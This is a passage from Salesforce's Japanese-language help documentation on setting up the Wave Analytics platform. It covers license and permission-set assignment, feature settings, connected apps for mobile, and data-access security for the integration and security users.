より、インテグレーションユーザにアクセス権がある Salesforce

オブジェクトデータのすべてにアクセスできるようになるた
め、割り当てるときには慎重に判断してください。「Wave

Analytics での Salesforce のデータアクセス」を参照してください。

すべてのWave Analytics機能にアクセス可能。Wave システム管理
者レベルの機能を使用できます。

「Wave Analytics の管理」

Wave Analytics ユーザインターフェースを使用したスクリーン
ショットと表形式でのデータのダウンロード。

「Wave Analytics のダウンロード」

メモ:  Wave ユーザ用に権限セットを作成するとき、いずれかの Wave Analytics 権限を選択すると自動的に
「Wave Analyticsの使用」権限も有効になります。さらに、アプリケーションに対して付与されたアクセス
権の種類によって、そのデータセット、レンズ、およびダッシュボードに対して実行できるアクション
が制御されます。たとえば、ユーザに「Wave Analytics の使用」権限がある場合、ユーザにはアプリケー
ションに対する閲覧者アクセス権もあり、そのデータセット、レンズ、ダッシュボードを表示できます。

Analytics Cloud - Wave Analytics Platform 権限セットライセンスによって、「コミュニティページでの Wave Analytics

の表示」権限が有効になります。この権限により、外部ユーザがそれぞれのコミュニティで VisualForce ページ
に埋め込まれた Wave ダッシュボードを表示できるようになります。

Wave Analytics プラットフォームのユーザ種別の特定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

Wave プラットフォームユーザの種別を特定すると、設定プロセスでチームの分
析ニーズを満たせるようになります。
Wave Analytics Platform ライセンスには、組織のユーザが Wave プラットフォームを
使用してデータのインポート、使用、処理、および探索するのに必要な権限が
含まれます。ライセンスには、システム管理者が Wave を管理するために必要な
権限も含まれます。Wave を最も使いやすく設定するには、ユーザが Wave 機能に
アクセスするさまざまな方法を検討し、それらの方法をユーザ種別ごとに分類
します。次は、その例です。
チームのほとんどのメンバーは、次の 2 つの基本的なカテゴリに分類されます。
• ユーザ。Wave ダッシュボード、レンズ、およびデータセットを表示し、場合

によってはデータを Wave にインポートします。
• システム管理者またはマネージャ。アプリケーション、ダッシュボード、レ

ンズ、データセットの作成、データの編集や、Wave 操作環境のカスタマイズ
を行うためにすべての Wave 機能にアクセスします。

したがって、Wave プラットフォームを設定するときには、2 つの基本的な権限セットを作成することで組織の
ほとんどのニーズを満たすことができます。
• 「参照」権限セット。ほとんどの基本レベルのユーザが Wave にアクセスするときに必要とする権限が含ま

れます。
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• 一部のシステム管理者とマネージャ用に予約された「管理」権限セット。すべての Wave 機能を使用する権
限が含まれます。

ただし、Wave Analytics は必要に応じて自由に設定でき、上記以外のユーザ種別や権限セットを組織のユーザの
ニーズに基づいて定義できます。たとえば、アプリケーションとダッシュボードを作成および共有するユーザ
向けに「スーパーユーザ」権限セットを作成できます。他にも、ユーザがデータセットを詳細に操作できるよ
うにする「データウィザード」権限セットを作成できます。
権限セットの例では、主要な 2 つのチームメンバー種別であるユーザとシステム管理者に重点を置き、詳細な
設定手順を説明します。

Wave Analytics の有効化と Analytics Cloud - Wave Analytics Platform 権限セット
ライセンスの割り当て
Salesforce によって Wave Analytics Platform ライセンスがプロビジョニングされたら、Wave を有効化し、Wave Analytics

権限セットライセンスを割り当てます。
Wave プラットフォームの有効化
Wave プラットフォームを使用するには、まず組織で有効にします。
1. Salesforce の [設定] メニューの [管理] で、[Analytics Cloud] | [始めましょう] をクリックします。
2. [分析の有効化] をクリックします。
権限セットライセンスの割り当て
次に、権限セットライセンスを Wave へのアクセス権を必要とする、組織の各ユーザに割り当てます。
1. [設定] メニューで、[ユーザの管理] | [ユーザ] をクリックします。
2. Wave へのアクセス権を付与するユーザの名前をクリックします。最初は、ユーザ、システム管理者、また

はシステム管理者に指定したその他の名前を選択するとよいでしょう。
3. カーソルを [権限セットライセンスの割り当て] に置き、[割り当ての編集] をクリックします。

4. Analytics Cloud - Wave Analytics Platform 権限セットライセンスを選択し、[保存] をクリックします。
Wave にアクセスする必要がある組織内のユーザごとに上記の手順を繰り返します。
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Wave Analytics 権限セットの作成

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

組織のユーザが必要な機能に基づいて 1 つ以上の権限セットを作成し、割り当
てることで、ユーザに Wave 機能へのアクセス権を付与できます。
ユーザに権限セットライセンスを割り当てたら、設定プロセスの次のステップ
として Wave ユーザ権限で構成される権限セットを作成し、その権限セットを
ユーザに割り当てます。ユーザのニーズを満たす必要がある権限セットを作成
できます。2 つの権限セットの作成方法を次に示します。
• 「Wave Analytics の管理」権限セットは、Wave Analytics を管理し、すべての Wave Analytics 機能へのアクセスが

必要なユーザ向けです。
• 「Wave Analytics の表示」権限セットは、データを探索して時々新しいデータを Wave Analytics にアップロード

し、限られた Wave Analytics 機能へのアクセスが必要なユーザ向けです。

段階的な手順: 権限セットを作成、編集、および割り当てる

メモ:

• 2015 年 10 月 20 日より前に Wave を購入した場合は、次の手順を実行する前に「2015 年 10 月 20 日より
前に購入したライセンスによる Wave Analytics プラットフォームの設定」を参照してください。

• 「Wave Analytics の管理」権限セットでは、以前の Wave Analytics ビルダーライセンス (2015 年 10 月 20 日
より前に購入) で提供される機能と同等の機能が有効になります。ビルダーライセンスがある場合、ま
たは新しい Wave Analytics Platform ライセンスに移行する場合は、次の手順に従って同じ機能を含む権限
セットを作成します。

• 「Wave Analytics の表示」権限セットでは、以前の Wave Analytics Explorer ライセンス (2015 年 10 月 20 日よ
り前に購入) で提供される機能と同等の機能が有効になります。Explorer ライセンスがある場合、また
は新しい Wave Analytics Platform ライセンスに移行する場合は、次の手順に従って同じ機能を含む権限
セットを作成します。

1. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット] をクリックし、[新規] をクリックします。
2. [表示ラベル] 項目に適宜 Manage Wave Analytics または View Wave Analytics と入力します。これ

により、API 名も自動的に作成されます。この名前は必要に応じて変更できますが、スペースは使用しな
い、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。

3. [ユーザライセンス] 項目をデフォルト値の --None-- のままにします。ユーザライセンスは選択しないで
ください。

4. [保存] をクリックします。権限セットの詳細ページに新しい権限セットが表示されます。次に、ユーザ権
限を権限セットに追加します。

5. 権限セットの詳細ページの最下部までスクロールし、[システム権限]をクリックします。次に、[編集]をク
リックします。

6. 次のいずれかの操作を実行します。
• 「Wave Analytics の管理」権限セットを作成する場合は、[Wave Analytics の管理] ユーザ権限を選択して [保

存]をクリックします。ユーザがすべての Wave 機能にアクセスできる権限セットが正常に作成されまし
た。「Wave Analytics の管理」権限セットではすべての Wave 機能へのアクセス権が付与されるため、この
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権限セットの割り当ては慎重に行ってください。この機能の多くは大半の分析ユーザには適していませ
ん。

• 「Wave Analytics の表示」権限セットを作成する場合は、[Wave Analytics Cloud の使用] および [外部データを
Wave Analytics にアップロード] ユーザ権限を選択して [保存]をクリックします。ユーザが Salesforce の外部
からアップロードデータファイルを参照およびアップロードする権限がある、すべての Wave のデータ
セット、レンズ、ダッシュボードを表示できる権限セットが正常に作成されました。

7. これで、新しい権限セットをユーザに割り当てることができます。この割り当てについては、「Wave Analytics

権限セットのユーザへの割り当て」を参照してください。

Wave Analytics 権限セットのユーザへの割り当て

ユーザ権限

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

権限セットを 1 人以上のユーザに割り当てて (1 人ずつまたは一括で)、Wave 機能
へのアクセス権を付与します。

段階的な手順: 権限セットを割り当てる
1. [設定] メニューで、[管理] の [ユーザの管理] | [権限セット]をクリックします。
2. ユーザに割り当てる権限セットをクリックします。「Wave Analytics 権限セッ

トの作成」 (ページ4386)の手順に従っている場合は、「Wave Analytics の管理」
または「Wave Analytics の表示」権限セットを選択します。

3. [割り当ての管理] をクリックし、[割り当てを追加] をクリックします。
4. Wave にアクセスする必要があるユーザを選択し、[完了] をクリックします。
「Wave Analytics の管理」権限セットではすべての Wave 機能へのアクセス権が付与されるため、この権限セッ
トの割り当ては慎重に行ってください。Wave プラットフォームを管理するユーザにのみ割り当てます。

Wave Analytics プラットフォームの設定の完了
Wave プラットフォームのユーザ環境を強化し、追加の設定手順で Salesforce データへの Wave アクセスを細かく
調整します。

すべてのレンズおよびダッシュボードのプレビューサムネールの有効化
ユーザがホームページやアプリケーションページのレンズおよびダッシュボードを検索しやすくなります。
汎用アイコンを、すべてのレンズおよびダッシュボード (行レベルのセキュリティ制限が設定されているア
セットを含む) のコンテンツのプレビューサムネールに置き換えます。
コミュニティの Wave Analytics の有効化
Wave Analytics アプリケーションをコミュニティパートナーやカスタマーユーザと安全に共有できます。
Wave Analytics からのダウンロードの有効化
ユーザがレンズの探索とダッシュボードウィジェットから結果を画像 (.png)、Microsoft® Excel® (.xls)、また
はカンマ区切り値 (.csv) ファイルとしてエクスポートできるようにします。
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ユーザに対する Wave ダッシュボードデザイナおよび Classic デザイナへのアクセス権の付与
ユーザにいずれかのダッシュボードデザイナへのアクセス権を付与するには、各ユーザに「Wave Analytics

ダッシュボードの作成および編集」ユーザ権限を割り当てます。ユーザがWave ダッシュボードデザイナに
アクセスできるようにするには、[Wave ダッシュボードデザイナを有効化] 設定オプションも有効化されて
いる必要があります (デフォルトで有効)。
ダッシュボードウィジェットのアノテーションの有効化
ダッシュボードおよび Chatter で投稿されたコメントを使用してダッシュボードウィジェットにアノテーショ
ンを付加します。
Wave REST API の有効化
Wave REST API を使用して、Wave Analytics のデータセットとレンズにプログラムでアクセスできます。このオ
プションを選択すると、個々のユーザの「API の有効化」権限が上書きされ、すべての Wave ユーザ (コミュ
ニティユーザを含む) に Wave API へのアクセス権が付与されます。
モバイルでの Wave Analytics の接続アプリケーション
Salesforce Wave Analytics アプリケーションパッケージをインストールして、モバイルクライアントが容易に組
織に接続できるようにします。このパッケージには、ログインするユーザや、モバイルクライアントによ
る画像とリンクの共有方法を制御できる接続アプリケーションコンポーネントが含まれます。
Wave Analytics セキュリティ実装ガイド
Wave Analytics を使用すると、適切なユーザが適切なデータにアクセスできるように、組織にさまざまなレ
ベルのセキュリティを実装できます。
Wave Analytics での Salesforce のデータアクセス
Wave Analytics には、データを抽出するときに加え、データが行レベルセキュリティの一部として使用され
るときにも、Salesforce データへのアクセス権が必要です。Wave Analytics は、2 つの Wave Analytics 内部ユーザ
であるインテグレーションユーザとセキュリティユーザの権限に基づいて Salesforce データにアクセスでき
ます。
埋め込みの Wave ダッシュボードのための信頼できるサイトのホワイトリストの設定
Wave Analytics ホワイトリストで、信頼済みサイトを指定します。Salesforce サーバの外側にある Web サイトと
アプリケーションに埋め込み Wave ダッシュボードを含めることができます。
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すべてのレンズおよびダッシュボードのプレビューサムネールの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

設定を変更する
• 「Wave Analytics の管

理」

ユーザがホームページやアプリケーションページのレンズおよびダッシュボー
ドを検索しやすくなります。汎用アイコンを、すべてのレンズおよびダッシュ
ボード (行レベルのセキュリティ制限が設定されているアセットを含む) のコン
テンツのプレビューサムネールに置き換えます。
データセットにセキュリティ述語が定義されていない場合は、プレビューサム
ネールが常に表示されます。セキュリティ述語が定義されている場合は、この
設定を有効にしない限りプレビューサムネールは表示されません。この設定が
有効になっている場合は、すべてのアセットのプレビューサムネールが表示さ
れます。

重要: レンズまたはダッシュボードが使用するデータセットに行レベルの
セキュリティが適用される場合でも、制限対象の行のデータがプレビュー
サムネールに表示される場合があります。行レベルのセキュリティ制限は、
レンズまたはダッシュボードまでクリックした場合にのみ有効になります。

1. [設定] から、[クイック検索]ボックスに「Wave Analytics」と入力し、[設
定] を選択します。

2. [行レベルのセキュリティを有効にして レンズとダッシュボードのプレビュー
サムネイルを表示] を選択します。

3. [保存] をクリックします。
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コミュニティの Wave Analytics の有効化

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能

ユーザ権限

設定を変更する
• 「Wave Analytics の管

理」

Wave ダッシュボードおよ
びレンズを参照する
• 「コミュニティページ

での Wave Analytics の
表示」

Wave Analyticsアプリケーションをコミュニティパートナーやカスタマーユーザと
安全に共有できます。

メモ: カスタマーコミュニティプラスまたはパートナーコミュニティライ
センスを所有するユーザのみがこの機能を使用できます。この機能はコミュ
ニティでサポートされますが、ポータルではサポートされません。

Wave Analytics をコミュニティと共有するように設定する手順は、次のとおりで
す。
1. [設定] から、[クイック検索]ボックスに「Wave Analytics」と入力し、[設

定] を選択します。[コミュニティの Wave Analytics を有効化] を選択し
ます。

2. コミュニティメンバーに「Analytics Cloud - Wave コミュニティユーザ」権限セッ
トライセンスを割り当てます。

3. 「コミュニティページでの Wave Analytics の表示」権限を含む権限セットを作
成し、コミュニティメンバーに割り当てます。

Wave Analytics からのダウンロードの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

設定を変更する
• 「Wave Analytics の管

理」

ユーザがレンズの探索とダッシュボードウィジェットから結果を画像 (.png)、
Microsoft® Excel® (.xls)、またはカンマ区切り値 (.csv) ファイルとしてエクスポー
トできるようにします。
ユーザが Wave からデータをダウンロードできるように設定する手順は、次のと
おりです。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[ユーザの

管理] で [権限セット] を選択します。
2. 権限を追加する Analytics Cloud 権限セットを選択し、[システム権限] を選択し

ます。
3. [Wave Analytics データをダウンロード] を選択します。
4. [保存] をクリックします。

関連トピック:

画像や絞り込まれたデータのダウンロード
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ユーザに対する Wave ダッシュボードデザイナおよび Classic デザイナへのアクセス権の付
与

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave ダッシュボードデザ
イナまたは従来のデザイ
ナにアクセスする
• 「Wave Analytics ダッ

シュボードの作成およ
び編集」

ユーザにいずれかのダッシュボードデザイナへのアクセス権を付与するには、
各ユーザに「Wave Analyticsダッシュボードの作成および編集」ユーザ権限を割り
当てます。ユーザがWave ダッシュボードデザイナにアクセスできるようにする
には、[Wave ダッシュボードデザイナを有効化] 設定オプションも有効化されて
いる必要があります (デフォルトで有効)。
Wave ダッシュボードデザイナが無効になっている場合、次のタスクを実行して
有効にします。
1. [設定] から、[クイック検索]ボックスに「Wave Analytics」と入力し、[設

定] を選択します。
2. [Wave ダッシュボードデザイナを有効化] を選択し、[保存] をクリックしま

す。
3. ダッシュボードを作成するユーザごとに、「Wave Analytics ダッシュボードの

作成および編集」ユーザ権限を割り当てます。
各ユーザは、ダッシュボードごとに従来のデザイナか Wave ダッシュボード
デザイナのとちらを使用するか選択できます。

関連トピック:

Wave ダッシュボードデザイナを使用したダッシュボードの作成

ダッシュボードウィジェットのアノテーションの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

設定を変更する
• 「Wave Analytics の管

理」

ダッシュボードおよび Chatter で投稿されたコメントを使用してダッシュボード
ウィジェットにアノテーションを付加します。

メモ: アノテーションは Wave ダッシュボードデザイナで作成されたダッ
シュボードでのみサポートされます。

アノテーションを有効化するには、次の手順を実行します。
1. [設定] から、[クイック検索] ボックスに「フィード追跡」と入力し、Chatter

で [フィード追跡] を選択します。
2. 下へスクロールして [Wave アセット] を選択します。
3. [フィード追跡の有効化] を選択します。
4. [保存] をクリックします。

関連トピック:

ダッシュボードアノテーションを使用したコラボレーション
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Wave REST API の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

設定を変更する
• 「Wave Analytics の管

理」

Wave REST API を使用して、Wave Analytics のデータセットとレンズにプログラムで
アクセスできます。このオプションを選択すると、個々のユーザの「API の有効
化」権限が上書きされ、すべての Wave ユーザ (コミュニティユーザを含む) に
Wave API へのアクセス権が付与されます。
1. [設定] から、[クイック検索]ボックスに「Wave Analytics」と入力し、[設

定] を選択します。
2. [すべての Wave ユーザの Wave API を有効化] を選択します。
3. [保存] をクリックします。

モバイルでの Wave Analytics の接続アプリケーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

接続アプリケーションを
インストールおよび設定
する
• 「Wave Analytics の管

理」

Salesforce Wave Analytics アプリケーションパッケージをインストールして、モバイ
ルクライアントが容易に組織に接続できるようにします。このパッケージには、
ログインするユーザや、モバイルクライアントによる画像とリンクの共有方法
を制御できる接続アプリケーションコンポーネントが含まれます。
1. システム管理者としてログインし、

https://login.salesforce.com/packaging/installPackage.apexp?p0=04tB0000000DKTAに移動
します。

2. [すべてのユーザのインストール] を選択します。
特定のロールに対してのみ接続アプリケーションをインストールする場合
は、それらのクライアントにのみポリシーが適用されます。

3. [完了]をクリックしたら、Salesforce Wave Analytics アプリケーションパッケージ
をクリックし、[コンポーネントを表示] をクリックします。

4. iOS または Android を選択します。ポリシーやその他の設定を行うには、[編集]

をクリックします。完了したら、変更を保存します。
接続アプリケーション設定についての詳細は、「接続アプリケーションの動
作の編集」を参照してください。

5. モバイルユーザの共有オプションを無効にする場合は、[カスタム属性] セク
ションで [新規] をクリックします。
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デフォルトで、すべての共有オプションが有効になっています。オプションを無効にするには、その属性
キーを追加して、属性値に “false”と入力します。サポートされる属性キーは、次の表を参照してくださ
い。

モバイルデバイスモバイルクライアントが共有可能属性キー

iOSAirDrop 経由の画像SHARE_IMAGE_AIRDROP

iOSカメラロールからの画像SHARE_IMAGE_ CAMERAROLL

iOSモバイルデバイスで現在開いてい
る画像

SHARE_IMAGE_ OPEN

iOSSalesforce1 の画像SHARE_IMAGE_ S1

iOSメール経由の画像SHARE_IMAGE_ EMAIL

AndroidNear Field Communication (NFC) 経由の
リンク

SHARE_LINK_NFC

AndroidBluetooth 経由のリンクSHARE_LINK_BLUETOOTH

iOSAirDrop 経由のリンクSHARE_LINK_AIRDROP

iOS および Android現在モバイルデバイスのクリップ
ボードにあるリンク

SHARE_LINK_ CLIPBOARD

iOS および AndroidSalesforce1 のリンクSHARE_LINK_ S1

iOS および Androidメール経由のリンクSHARE_LINK_EMAIL

iOSモバイルクライアントの Spotlight

検索結果に Wave Analytics アセット
を表示可能

SPOTLIGHT_SEARCH

メモ: 接続されたユーザにカスタム属性を適用するには、それらのユーザを取り消した後、ユーザに
再接続するように依頼します。

6. Wave が有効な組織にモバイルクライアントが接続する方法を表示および制御するには、[設定] から、[ク
イック検索] ボックスに「接続アプリケーション」と入力し、[接続アプリケーションの OAuth の利用状況]

を選択します。
ユーザセッションのブロック、個々のユーザの取り消し、ユーザ詳細へのドリルインができます。詳細は、
「OAuth 接続アプリケーションの利用状況の監視」を参照してください。

メモ: 証明書ベースの認証の場合、ユーザはデスクトップブラウザで Cookie を許可するように設定す
る必要があります。

セキュリティの向上のために、承認済みホストのみを表示するオプションを備えたモバイルデバイス管理 (MDM)

を使用します。「OnlyShowAuthorizedHosts」キーでは、モバイルアプリケーションでプラス記号 ([新規アカウン

4393

Wave プラットフォームの設定分析

https://help.salesforce.com/apex/HTViewHelpDoc?id=connected_app_monitor.htm&language=ja


トを追加]) を非表示にできます。詳細は、「Salesforce Mobile SDK アプリケーションでの MDM の使用」を参照し
てください。

Wave Analytics セキュリティ実装ガイド
Wave Analyticsを使用すると、適切なユーザが適切なデータにアクセスできるように、組織にさまざまなレベル
のセキュリティを実装できます。

• システム管理者は、オブジェクトレベルセキュリティと項目レベルセキュリティを実装して、Salesforce デー
タへのアクセスを制御できます。たとえば、システム管理者は、データフローが機密の Salesforce データを
データセットに読み込まないように、アクセスを制限することができます。このドキュメントでは、Wave

Analyticsでの Salesforce データに対するオブジェクトレベルセキュリティと項目レベルセキュリティの使用方
法と、Salesforce オブジェクトおよび項目に対する権限の設定方法について説明します。

• データセット所有者は、作成した各データセットに行レベルセキュリティを実装し、そのレコードへのア
クセスを制限できます。データセットに行レベルセキュリティがない場合、そのデータセットへのアクセ
ス権を持つユーザはすべてのレコードを表示できます。このドキュメントでは、データセットに対する行
レベルセキュリティの設定方法を説明し、Salesforce データおよび外部データから作成されたデータセット
に基づいたサンプル実装をいくつか紹介します。

• アプリケーションへのマネージャアクセス権が付与されたアプリケーション所有者、システム管理者、お
よびユーザによって、アプリケーション内のデータセット、レンズ、ダッシュボードへのアクセスが制御
されます。このドキュメントでは、アプリケーションのさまざまなアクセスレベルと、アプリケーション
のデータセット、レンズ、ダッシュボードを他のユーザと共有する方法について説明します。

メモ: Wave Analytics は、Salesforce で設定されている共有とは同期しません。代わりに、Wave Analytics に
は別個にセキュリティを設定する必要があります。Wave Analytics では、堅牢な行レベルセキュリティ
機能により、データセットに対して多くの異なる種別のアクセス制御をモデル化できます。

Wave Analytics セキュリティの実装についての詳細は、『Wave Analytics セキュリティ実装ガイド』を参照してく
ださい。
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Wave Analytics での Salesforce のデータアクセス
Wave Analyticsには、データを抽出するときに加え、データが行レベルセキュリティの一部として使用されると
きにも、Salesforce データへのアクセス権が必要です。Wave Analyticsは、2 つのWave Analytics内部ユーザであるイ
ンテグレーションユーザとセキュリティユーザの権限に基づいて Salesforce データにアクセスできます。
データフロージョブを実行するとき、Wave Analytics はインテグレーションユーザの権限を使用してデータを
Salesforce オブジェクトおよび項目から抽出します。インテグレーションユーザには「すべてのデータの参照」
アクセス権があるため、機密データを含む特定のオブジェクトや項目に対するアクセスを制限することを検討
します。インテグレーションユーザに権限のないオブジェクトまたは項目からデータを抽出するようにデータ
フローが設定されている場合、データフロージョブは失敗します。
User オブジェクトに基づいて行レベルセキュリティが設定されているデータセットをクエリすると、Wave

Analytics はセキュリティユーザの権限を使用して、User オブジェクトとその項目にアクセスします。セキュリ
ティユーザには、少なくとも述語に含まれる各 User オブジェクト項目に対する参照権限が必要です。述語と
は、データセットの行レベルセキュリティを定義する絞り込み条件です。デフォルトでは、セキュリティユー
ザには User オブジェクトのすべての標準項目への参照アクセス権があります。述語がカスタム項目に基づいて
いる場合は、セキュリティユーザに項目への参照アクセス権を付与します。述語式に含まれるすべての User オ
ブジェクト項目への参照アクセス権がセキュリティユーザにない場合、その述語が使用されているデータセッ
トをクエリしようとするとエラーが表示されます。

Salesforce オブジェクトおよび項目へのアクセス制御
Wave Analytics には、データを抽出するときに加え、データが行レベルセキュリティの一部として使用され
るときにも、Salesforce データへのアクセス権が必要です。Salesforce データへのデータフローのアクセスを
制御するには、Salesforce オブジェクトおよび項目に対するインテグレーションユーザの権限を設定します。
User オブジェクトのカスタム項目に基づいた行レベルセキュリティを有効化するには、セキュリティユー
ザの権限を設定します。

Salesforce オブジェクトおよび項目へのアクセス制御

ユーザ権限

ユーザプロファイルをコ
ピーする
• 「プロファイルと権限

セットの管理」

オブジェクト権限を編集
する
• 「プロファイルと権限

セットの管理」

および

「アプリケーションの
カスタマイズ」

Wave Analytics には、データを抽出するときに加え、データが行レベルセキュリ
ティの一部として使用されるときにも、Salesforce データへのアクセス権が必要
です。Salesforce データへのデータフローのアクセスを制御するには、Salesforce オ
ブジェクトおよび項目に対するインテグレーションユーザの権限を設定します。
User オブジェクトのカスタム項目に基づいた行レベルセキュリティを有効化す
るには、セキュリティユーザの権限を設定します。
インテグレーションユーザまたはセキュリティユーザの権限を設定する場合、
ユーザプロファイルのコピーバージョンを変更します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択して、ユーザプロファイルを選択します。
インテグレーションユーザの場合、Analytics Cloud インテグレーションユーザ
プロファイルを選択します。セキュリティユーザの場合、Analytics Cloud セキュ
リティユーザプロファイルを選択します。

2. ユーザプロファイルをコピーするには、[コピー] をクリックします。
3. コピーしたユーザプロファイルに名前を付けて保存します。
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4. [オブジェクト設定]をクリックします。
5. Salesforce オブジェクトの名前をクリックします。
6. [編集] をクリックします。

a. オブジェクトに対する権限を有効にするには、[オブジェクト権限] セクションで [参照] を選択します。
b. オブジェクトの項目に対する権限を有効にするには、[項目権限] セクションで項目の [参照] を選択しま

す。

メモ:  User オブジェクトの標準項目に対する権限は変更できません。

7. オブジェクト設定を保存します。
8. コピーしたユーザプロファイルをインテグレーションユーザまたはセキュリティユーザに割り当てます。

a. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
b. ユーザプロファイルを割り当てるユーザを選択します。
c. [編集] をクリックします。
d. [プロファイル] 項目でユーザプロファイルを選択します。
e. [保存] をクリックします。

9. インテグレーションユーザまたはセキュリティユーザにオブジェクトの項目に対する適切な権限があるこ
とを確認します。

埋め込みの Wave ダッシュボードのための信頼できるサイトのホワイトリストの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

設定を変更する
• 「Wave Analytics の管

理」

Wave Analytics ホワイトリストで、信頼済みサイトを指定します。Salesforce サーバ
の外側にある Web サイトとアプリケーションに埋め込み Wave ダッシュボードを
含めることができます。
Wave Analytics ホワイトリストを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ホワイトリスト」と入力し、Wave

Analytics で [ホワイトリスト] を選択します。
2. [埋め込まれた Wave ダッシュボードのホワイトリスト] ページで、[新規] をク

リックします。
3. [ホワイトリストに登録されたサイトの編集] ページで、Wave ホワイトリスト

に追加するサイトの情報を入力します。
4. [保存] をクリックします。
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2015 年 10 月 20 日より前に購入されたライセンスによる Wave Analytics
プラットフォームの設定
2015 年 10 月 20 日より前に Wave Analytics Builder または Explorer ライセンスを購入した場合、引き続きそのライセ
ンスを使用して組織のユーザに Wave プラットフォームを設定できます。または、新しいシングルユーザの
Wave Analytics Platform ライセンスに移行することもできます。

メモ: この情報は、2015 年 10 月 20 日より前に Wave Analytics ライセンスを購入し、新しい Analytics Cloud Wave

Platform ライセンスに移行せずに、Analytics Cloud Builder または Analytics Cloud Explorer 権限セットライセンス
を引き続き使用するお客様に適用されます。2015 年 10 月 20 日以降に Wave を購入した場合は、「Wave プ
ラットフォームの設定」に進んでください。

重要: 以前の Analytics Cloud Builder または Analytics Cloud Explorer プラットフォームライセンスからシングル
ユーザのWave Analytics Platform ライセンスに移行する場合は、「2015 年 10 月 20 日より前に購入された Wave

ライセンスから新しい Wave Platform ライセンスへの移行」を参照してください。

Analytics Cloud Wave Platform ライセンス
2015 年 10 月 20 日より前に購入した Analytics Cloud Wave Platform ライセンスで、組織のWave Analyticsを有効化でき
ます。契約上、以前の Wave Platform ライセンスあたりのユーザ数は最大 400 に制限されています。ユーザ数が
400 を超える場合は、追加の Wave Platform ライセンスを購入できます。
以前の Wave Platform ライセンスごとに次の機能を利用できます。
• 最終的な登録済みデータセットに最大 2 億 5,000 万行を保存する。
• Wave Analytics で最大 50 のクエリを同時実行する。

Analytics Cloud 権限セットライセンス
ユーザが Analytics Cloud を使用するには、ユーザごとに 1 つの Analytics Cloud 権限セットライセンスが必要です。
この権限セットライセンスによって、ユーザに割り当て可能なユーザ権限が定義されます。システム管理者が
権限セットライセンスをユーザに割り当てます。
2015 年 10 月 20 日より前に販売された Wave Analytics Platform ライセンスの一部として、次の権限セットライセン
スが提供されます。
• Analytics Cloud Builder 権限セットライセンスでは、ユーザがすべてのWave Analytics機能にアクセスできます。
• Analytics Cloud Explorer 権限セットライセンスでは、ユーザが外部データを Wave Analytics にアップロードして

データを探索できます。
各権限セットライセンスには、次の Wave Analytics ユーザ権限が含まれます。

可能になる機能Explorer または Builder 権限セット
ライセンスに含まれていたか?

ユーザ権限

Wave Analytics ダッシュボードの作成
および編集。

Builder のみ「Wave Analyticsダッシュボードの作
成および編集」
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可能になる機能Explorer または Builder 権限セット
ライセンスに含まれていたか?

ユーザ権限

Wave Analytics アプリケーションの作
成および共有。

Builder のみ「Wave Analyticsアプリケーションの
作成」

データフローのダウンロード、アッ
プロード、開始、停止、再スケ

Builder のみ「Wave Analytics データフローの編
集」

ジュール。データ監視でデータフ
ローとシステムジョブを表示しま
す。

すべての Wave Analytics 機能へのアク
セス。Wave システム管理者レベル
の機能を使用できます。

Builder のみ「Wave Analytics の管理」

外部データを Wave Analytics にアップ
ロードしてデータセットを作成。

Builder と Explorer「外部データをWave Analyticsにアッ
プロード」

データ監視でデータフローとシス
テムジョブを表示します。

Wave Analytics を使用して、ユーザに
参照権限があるデータセット、レ

Builder と Explorer「Wave Analyticsの使用」

ンズ、ダッシュボードを表示。他
の Wave 権限を選択すると自動的に
有効化されます。

メモ:  Wave ユーザ用に権限セットを作成するとき、他のいずれかのWave Analytics権限セットを選択すると
自動的に「Wave Analytics」権限が有効化されます。

以前のWave Analytics権限セットライセンスを次の Salesforce ユーザライセンスと一緒に割り当てることができま
す。
• Force.com (App Subscription)

• Force.com (One App)

• Full CRM

• Salesforce Platform

• Salesforce Platform One

関連トピック:

2015 年 10 月 20 日より前に購入された Wave ライセンスから新しい Wave Platform ライセンスへの移行
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2015 年 10 月 20 日より前に購入された Wave ライセンスから新しい
Wave Platform ライセンスへの移行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

2015 年 10 月 20 日より前に購入された以前の Analytics Cloud Builder および Analytics

